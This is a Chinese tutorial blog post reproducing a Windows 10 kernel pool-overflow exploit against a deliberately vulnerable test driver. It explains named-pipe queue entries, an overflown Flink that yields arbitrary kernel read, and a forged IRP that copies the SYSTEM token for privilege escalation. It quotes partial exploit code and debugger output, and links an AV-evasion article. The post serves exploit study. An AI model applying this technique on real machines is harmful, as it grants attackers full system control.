Joe1sn's Cabin

【Win Pwn】Windows10 内核池溢出

内核也太难了,主要讲述大NonPagedPool的溢出利用

公众号:https://mp.weixin.qq.com/s/XjaPdNwqABFqDZsZTDtZJg

或许我们的公众号会有更多你感兴趣的内容

img

【复现】Windows10 内核池溢出

前置知识:

  1. windows内核调试
  2. windows内核提权基础
  3. 简单的windows驱动编写(hello world级别)
  4. linux pwn堆溢出利用方式
  5. 一点点数据结构的知识(双向链表)

文章讲述并复现在Windows高版本内核中NonPagedPoolNx溢出的利用方法

目录

[toc]

利用方式

​ 很多资料都是直接翻译外文文献,翻译质量差,没有直接的实操,并且随着windows的更新,比较缺乏现代windows 10\11的、比较易学的攻击方式。这里使用:Windows-Non-Paged-Pool-Overflow-Exploitation[1]作为基础的讲解,原文中的图示个人感觉还是讲的不够透彻,这里个人借着原文重新讲述下。

命名管道介绍

​ 这是windows提供的用于进程间通讯的一种机制。首先是**服务端(server)**创建命名管道,**客户端(client)**使用CreateFile连接到服务端。双方可以使用ReadFileWriteFile进行读、写的通讯。这种利用方式非常常见,比如说在cobaltstrike的木马中就是用到了这种通讯,具体例子可以参考公众号的文章: 【免杀】使用CobaltStrike的外置监听器绕过检测[2]。

​ 当管道成功建立后,底层驱动程序(npfs.sys)会在上下文控制块 (CCB) 中创建两个队列,每个队列对应一个CCB队列。当有消息写入时,比如**服务端想客户端发送消息(WriteFile)**时,会在队列中创建如下结构体,后文简称为dqe

1
2
3
4
5
6
7
8
9
10
struct DATA_QUEUE_ENTRY {
LIST_ENTRY NextEntry;
_IRP* Irp;
_SECURITY_CLIENT_CONTEXT* SecurityContext;
uint32_t EntryType;
uint32_t QuotaInEntry;
uint32_t DataSize;
uint32_t x;
char Data[];
}

当**客户端开始接收消息(ReadFile)**时,就会从队列中释放掉该消息

DATA_QUEUE_ENTRY.drawio
  • NextEntry: Windows中的经典 双向循环链表LIST_ENTRYflink指向下一个entryblink指向上一个。当结构体被释放时(如执行ReadFile),会进行相邻结构体链表之间的重新连接,也就是数据结构中双向链表中的删除操作。注意的是,在windows 10中新增了校验操作

    1
    entry->Flink->Blink!=entry

    这样可以避免溢出时覆盖entry->flinkblink,造成的劫持

  • SecurityContext: 安全上下文,主要是模仿客户端的行为,比如客户端访问权限等,在这里并不重要。

  • EntryType: DATA_QUEUE_ENTRY的类型,一般分为两种:bufferedunbuffered

    • buffered: EntryType=0DATA_QUEUE_ENTRY 中申请的buf大小足够存放UserData,读取时直接从UserData处复制

    • unbuffered: EntryType=1DATA_QUEUE_ENTRY 中申请的buf大小只存放DATA_QUEUE_ENTRY,读取时要调用IRP来实现读取。可以使用如下函数来创建这种Entry

      1
      NtFsControlFile(pipe_handle, 0, 0, 0, &isb, 0x119FF8, buf, sz, 0, 0);
  • Irp: 处理的中断请求

  • QuotaInEntry: 空间剩余配额,对于buffered来说,每次读取可能不会全部读完,QuotaInEntry记录了剩余UserData读取的大小,即QuotaInEntry初始值等于DataSize,每次读取都会减去已经读取的长度,直到QuotaInEntry=0;对于unbuffered来说值恒为0

  • DataSize: 很重要,它描述了UserData的大小。

当服务端想客户端发送消息时,npfs会申请0x30+DataSize大小(并会对齐)的内核池,其中0x30是为了存放DATA_QUEUE_ENTRY头部

配额管理机制

配额管理机制(QuotaInEntry):允许通信通道的服务器端指定队列可容纳的最大数据大小超过该限制时

  • 在阻塞模式 (PIPE_WAIT) 下,创建条目时将 QuotaInEntry 设置为当前队列中可用的字节数。之后,每次对缓冲条目执行读取(read而非peek)操作后,读取大小都会添加到已停止写入的 QuotaInEntry 中。当 QuotaInEntry 等于 DataSize 时,表示管道配额中有足够的空间容纳该条目,并且其关联的 IRP 已完成,qde从当前数据条目中移除。
  • 在非阻塞模式 (PIPE_NOWAIT) 下,操作将失败。(写入的字节数将等于 0)

漏洞代码

这里使用:

https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/5315ee63753b0747d5a6010e2486dfbe45b8e123/vulnerable_driver/Overfl0w.cpp#L68

这段代码的64位编译进行讲解,同时我增加了一段打印来方便调试

1
2
3
4
5
6
7
8
9
NTSTATUS Al20c(size_t Size)
{
char* buf = (char*)ExAllocatePoolWithTag(NonPagedPoolNx, Size, 'AAAA');
DbgPrint("[!] Allocate NonpagedPool 0x%p\n", buf);

for (int i = 0; i <= Size && buf; i++)
buf[i] = ' ';
return STATUS_SUCCESS;
}

for循环中有一个明显的 off by one 漏洞(应当是i < Size),可以溢出到下一个区块一个字节,并修改为0x20

测试环境是

image-20250415100612979

具体环境搭建可以参考:从零探索现代windows内核栈溢出-以HEVD练习为例(上)[3]

如何完成提权

这里就是利用任意地址读写来对Systemtoken复制到当前进程

任意地址读实现

假设有如下布局

Fig1

​ AAAA、BBBB、CCCC三个DATA_QUEUE_ENTRY是逻辑上的相邻关系,但是在内存上,紫色page与BBBB相邻,所以BBBB->Flink低位被溢出了,这也是在linux pwn的堆利用中很常见的off by one利用手法。这使得BBBB->Flink指向了CCCC+0x20的位置,那么我们就可以提前在我们可控的CCCC->UserData里面构建fake EntryTypefake Quota和最重要的Fake DataSize

​ 但是前文中说过fake flink由于不是我们可控的,所以使用ReadFile读取pipe_pool_x会通不过检验,但是[1]中发现一个新的方法可以绕过,即使用PeekNamedPipe函数,这个函数可以读取pipe_pool_x中的数据,而不造成释放和校验。假设pipe_pool_x是从AAAA开始的,那么客户端在pipe_pool_x读取DataSize_AAAA+DataSize_BBBB+DataSize_Fake_CCCC大小的数据时候,顺序就是,1.读取AAAA->UserData DataSize_AAAA 大小的数据;2.根据AAAA->Flink找到BBBB,再读取;3.根据BBBB->overflown_Flink找打Fake_CCCC,同时根据Fake_CCCC->Fake->DataSize的大小读取内存。而且这种方法可以放我们判断溢出的pipe_pool是哪个,这在池喷射中是十分有利的。

​ **那么如何实现任意地址读取呢?**我们可以看看[1]中的exp是怎么做到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//...

#define NP_HEADER_SIZE 0x30
#define THIRD_ENTRY_SIZE (0x1000-NP_HEADER_SIZE)
#define USER_DATA_ENTRY_ADDR ((long long)THIRD_ENTRY_SIZE<<32)

//...
void main() {
//...
if (VirtualAlloc((PVOID)USER_DATA_ENTRY_ADDR, 0x5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) != (PVOID)USER_DATA_ENTRY_ADDR) {
printf("Couldn't allocate base address %p\n", USER_DATA_ENTRY_ADDR);
return;
}
//...

printf("Creating the RIGHT entries\n");
char victim_data[THIRD_ENTRY_SIZE];
DATA_QUEUE_ENTRY* dqe = (DATA_QUEUE_ENTRY*)victim_data;
memset(dqe, 0, sizeof(*dqe));
dqe->DataSize = THIRD_ENTRY_SIZE + 1;

for (int i = 0; i < pipe_pool.size(); i++) {
WriteFile(pipe_pool[i].Write, &dqe->Irp, THIRD_ENTRY_SIZE, &res, 0);
}
//...
}

USER_DATA_ENTRY_ADDR计算出来的值是**0xfd000000000,在Creating the RIGHT entries时,申请的dqe中,dqe->quota=0xfd0dqe->DataSize=0xfd0,根据小端序在内存中的排列方式从右到左,dqe->quota和临近的32位大小全为0的dqe->EntryTpye的值,合成fake->flink,而且指向0xfd000000000**。分配变为:

read.drawio2

​ 相关的内存信息:

image-20250415105505624 image-20250415111307748

​ 参考最初始的布局图,如果我们想要读取的内容长度超过了DataSize_AAAA+DataSize_BBBB+DataSize_Fake_CCCC,那么就会从FakeCCCC->flink即**0xfd000000000当作一个DATA_QUEUE_ENTRY,来满足我们的读取。这个时候exp中最开始的VritualAlloc就起到了关键作用,因为他申请到了0xfd000000000这一地址,即使这个地址不是在内核0xfd000000000中,而是在当前的进程中,我们就可以在这里伪造DATA_QUEUE_ENTRY,并且使用unbuffered类型来利用Irp实现内核的任意地址读取**。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void PrepareDataEntryForRead(DATA_QUEUE_ENTRY* dqe, IRP* irp, uint64_t read_address) {
memset(dqe, 0, sizeof(DATA_QUEUE_ENTRY));
dqe->EntryType = 1;
dqe->DataSize = -1;
dqe->Irp = irp;
irp->AssociatedIrp = (PVOID)read_address;
}

void ReadMem(uint64_t addr, size_t len, char* data) {
static char* buf = (char*)malloc(TOTAL_DATA_SIZE + 1 + 0x5000);
DATA_QUEUE_ENTRY* dqe = (DATA_QUEUE_ENTRY*)USER_DATA_ENTRY_ADDR;
DWORD read;

assert(len < 0x5000);

PrepareDataEntryForRead(dqe, (IRP*)(USER_DATA_ENTRY_ADDR + 0x1000), addr);
PeekNamedPipe(g_victim_pipe->Read, buf, TOTAL_DATA_SIZE + 1 + len, &read, 0, 0);
memcpy(data, buf + TOTAL_DATA_SIZE + 1, len);
}

如何读取到当前进程的Token地址?

​ 与常规思路类似,我们依旧是找到当前进程的EPROCESS。首先基于此我们拥有了任意地址读,那么就可以泄露出一个正常的DATA_QUEUE_ENTRY,比如和CCCC物理地址相邻的dqe,我们称为DDDD(如上图)。exp中的DDDD是这样申请的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DWORD WINAPI ThreadedWriter(void* arg) {
char* buf = (char*)arg;
DWORD res;

WriteFile(g_victim_pipe->Write, buf, FIRST_ENTRY_SIZE, &res, NULL);

Sleep(-1);
return 0;
}

void main(){
//...
printf("Creating an entry with size greater than the available pipe quota\n");
CreateThread(0, 0, ThreadedWriter, buf, 0, 0); //we could have used overlapped/completion routines
Sleep(2000);
//...
//&((ETHREAD*)0)->ThreadListHead.Flink-&((EHREAD)*0)->IrpList=0x38, remains constant between most recent builds
//...
}
image-20250415123334730

DDDD->Irp结构具体如下,详细可见IRP 结构 (wdm.h)[4]

1
1: kd> dt nt!_IRP
image-20250415114100503 image-20250415123735198 image-20250415123659967

​ 这里又引申小问题:为什么要使用CreateThread来进行新的dqe?这就要提到ThreadListEntry的作用了

当一个线程发起异步 I/O 操作时,内核会将 IRP 插入到线程的 ThreadListEntry 链表中。线程可以通过遍历该链表检查是否有未完成的 I/O 请求。

​ 这里创建线程来创建起到的就是 线程发起异步 I/O 操作 的作用。在 Windows 内核中,每个线程都由一个 ETHREAD(Executive Thread)结构体表示,其中包含一个 IrpList 字段,用于管理该线程的所有 挂起(Pending)I/O 请求(即未完成的 IRP)

​ 我们查看这个Irp所属的线程是那个_ETHREAD

1
2
3
4
5
6
0: kd> dt nt!_IRP ffffbe0f`9d473c30 Tail.Overlay.Thread
+0x078 Tail :
+0x000 Overlay :
+0x020 Thread : 0xffffbe0f`9d0cb080 _ETHREAD
0: kd> dt nt!_ETHREAD 0xffffbe0f`9d0cb080 Tcb
+0x000 Tcb : _KTHREAD
image-20250415132619853

_ETHREAD结构体如下

image-20250415132206261

​ 如果你了解过windows内核提权的方法的话,如从零探索现代windows内核栈溢出-以HEVD练习为例(下)[5],你就会了解到在栈溢出中我们使用的是gs:[188h]指向的是一个_KTHREAD结构体,通过_KTHREAD找到_EPROECSS,然后找到了当前进程的_EPROCESS,而且就可以通过遍历得到 System_EPROCESS

1
2
3
4
5
6
7
8
9
0: kd> !thread 0xffffbe0f9d0cb080
THREAD ffffbe0f9d0cb080 Cid 0ea8.0c30 Teb: 000000f50d798000 Win32Thread: 0000000000000000 WAIT: (UserRequest) UserMode Non-Alertable
ffffbe0f9ff9f668 NotificationEvent
IRP List:
ffffbe0f9d473c30: (0006,0358) Flags: 00060a00 Mdl: 00000000
Not impersonating
DeviceMap ffff8486d91f0b10
Owning Process ffffbe0f9da7e340 Image: exploits.exe
...

image-20250415132850919

​ 之后通过``EPROCESS获得自身ActiveProcessLinks`,同时向前/向后查找,找到pid=4的进程,则该进程就为System,之后就是根据偏移读取Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
uint64_t GetProcessById(uint64_t first_process, uint64_t pid) {
uint64_t current_pid = 0;
uint64_t current_process = first_process;
while (1) {
ReadMem(current_process + c_offsets[g_setoff][EPROCESS_PID], 8, (char*)&current_pid);
if (current_pid == pid)
return current_process;

ReadMem(current_process + c_offsets[g_setoff][EPROCESS_PID] + 8, 8, (char*)&current_process);
current_process -= c_offsets[g_setoff][EPROCESS_PID] + 8;

if (current_process == first_process)
return 0;
}
}

void main(){
//...
char irp_data[0x1000];
ReadMem(irp_addr, 0x1000, irp_data);
IRP* irp = (IRP*)irp_data;

uint64_t cp_thread_list_head, current_process, current_process_id, system_process;

//&((ETHREAD*)0)->ThreadListHead.Flink-&((EHREAD)*0)->IrpList=0x38, remains constant between most recent builds
ReadMem((uint64_t)irp->ThreadListEntry.Flink + 0x38, 8, (char*)&cp_thread_list_head);
current_process = cp_thread_list_head - c_offsets[g_setoff][EPROCESS_THREADLISTHEAD];
ReadMem(current_process + c_offsets[g_setoff][EPROCESS_PID], 8, (char*)&current_process_id);
if (current_process_id != GetCurrentProcessId())
g_setoff++;

current_process = cp_thread_list_head - c_offsets[g_setoff][EPROCESS_THREADLISTHEAD];

system_process = GetProcessById(current_process, 4);
printf("Found current process: %p system process: %p\n", current_process, system_process);
}

任意地址写实现

​ 根据前文的描述,当客户端读取服务端发送的消息时,利用甚于配额分配机制,Quota<Datasize,就会触发对应dqe的Irp,将irp->AssociatedIrp的值写入到irp->UserBuffer中。那么我们可以伪造Irp,然后执行ReadFile触发Irp。但是Irp对于系统来说十分的严格,[1]中利用了任意读复制一个合法的Irp,然后改造。原文提醒:

务必使用非缓冲条目来保存伪造的 IRP,因为它很可能会在 IofCompleteRequest 调用结束时被释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
DATA_QUEUE_ENTRY:
NextEntry.Flink=可访问的合法地址;
Irp=特殊伪造的irp;
SecurityContext=0;
EntryType=0;
QuotaInEntry=DataSize-1;
DataSize=任意地址写的大小;
x=无所谓;

Forged IRP:
Flags=Flags&~IRP_DEALLOCATE_BUFFER|IRP_BUFFERED_IO|IRP_INPUT_OPERATION;
AssociatedIrp=源地址;
UserBuffer=目的地址;
ThreadListEntry.Flink->Blink==ThreadListEntry.Blink->Flink==&ForgedIRPAddr->ThreadListEntry;

​ 相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void PrepareWriteIRP(IRP* irp, PVOID thread_list, PVOID source_address, PVOID destination_address) {
irp->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
irp->AssociatedIrp = source_address;
irp->UserBuffer = destination_address;
irp->ThreadListEntry.Flink = (LIST_ENTRY*)(thread_list);
irp->ThreadListEntry.Blink = (LIST_ENTRY*)(thread_list);
}

void main(){
//...
uint64_t thread_list[2];
PrepareWriteIRP(irp, thread_list, (PVOID)(system_process + c_offsets[g_setoff][EPROCESS_TOKEN]), (PVOID)(current_process + c_offsets[g_setoff][EPROCESS_TOKEN]));
NtFsControlFile(g_victim_pipe->Write, 0, 0, 0, &isb, 0x119FF8, irp, 0x1000, 0, 0);//创建unbuffered存放伪造的Irp
//...
}

​ 回忆前文命名管道介绍中的描述:

unbuffered: EntryType=1DATA_QUEUE_ENTRY 中申请的buf大小只存放DATA_QUEUE_ENTRY,读取时要调用IRP来实现读取。

​ 那么对PrepareWriteIRP函数生成的Irp这块内存的读写都要通过unbuffered->Irp进行

image-20250415155606850 image-20250415155735870

​ 如果Irp执行就是从0xffffe20fa485e4f8的值复制到0xffffe20faab3b538,并且0xffffe20fa485e4f8的值就为Token的值

​ 然后设置qde->Irp后触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void PrepareDataEntryForWrite(DATA_QUEUE_ENTRY* dqe, IRP* irp, uint32_t size) {
memset(dqe, 0, sizeof(DATA_QUEUE_ENTRY));
dqe->Flink = (uint64_t)dqe;
dqe->EntryType = 0;
dqe->DataSize = size;
dqe->Irp = irp;
}

void main(){
//...
dqe = (DATA_QUEUE_ENTRY*)USER_DATA_ENTRY_ADDR;
PrepareDataEntryForWrite(dqe, (IRP*)forged_irp_addr, ARBITRARY_WRITE_SIZE);

thread_list[0] = thread_list[1] = forged_irp_addr + offsetof(IRP, ThreadListEntry.Flink);

printf("Triggering a call to IofCompleteRequest with our forged IRP and overwriting our token\n\n");
ReadFile(g_victim_pipe->Read, buf, ARBITRARY_WRITE_SIZE, &res, 0);
//...
}

ReadFile时,依旧会从AAAA开始读取8字节,同时AAAA->quota-=8

image-20250415151904648

​ 之后会调整队列中dqe的quota大小,正常来说对于我们伪造的dqe的quota<size的,这个时候就会调用Irp,然后quota+=8;但是我们修改了CCCC->flink=DDDD,即指向0xfd000000000,并且我们在DDDD中伪造了Irp,那么就会调用该Irp。

image-20250415152714453

​ 最后成功复制token完成提权

image-20250415143758994

image-20250415144332735

引用

[1] Windows-Non-Paged-Pool-Overflow-Exploitation https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation

[2] 【免杀】使用CobaltStrike的外置监听器绕过检测 https://mp.weixin.qq.com/s/9ReEchLx1dTbWR9plRWbpg

[3] 从零探索现代windows内核栈溢出-以HEVD练习为例(上)https://xz.aliyun.com/news/12806

[4] IRP 结构 (wdm.h) https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp

[5] 从零探索现代windows内核栈溢出-以HEVD练习为例(下) https://xz.aliyun.com/news/12808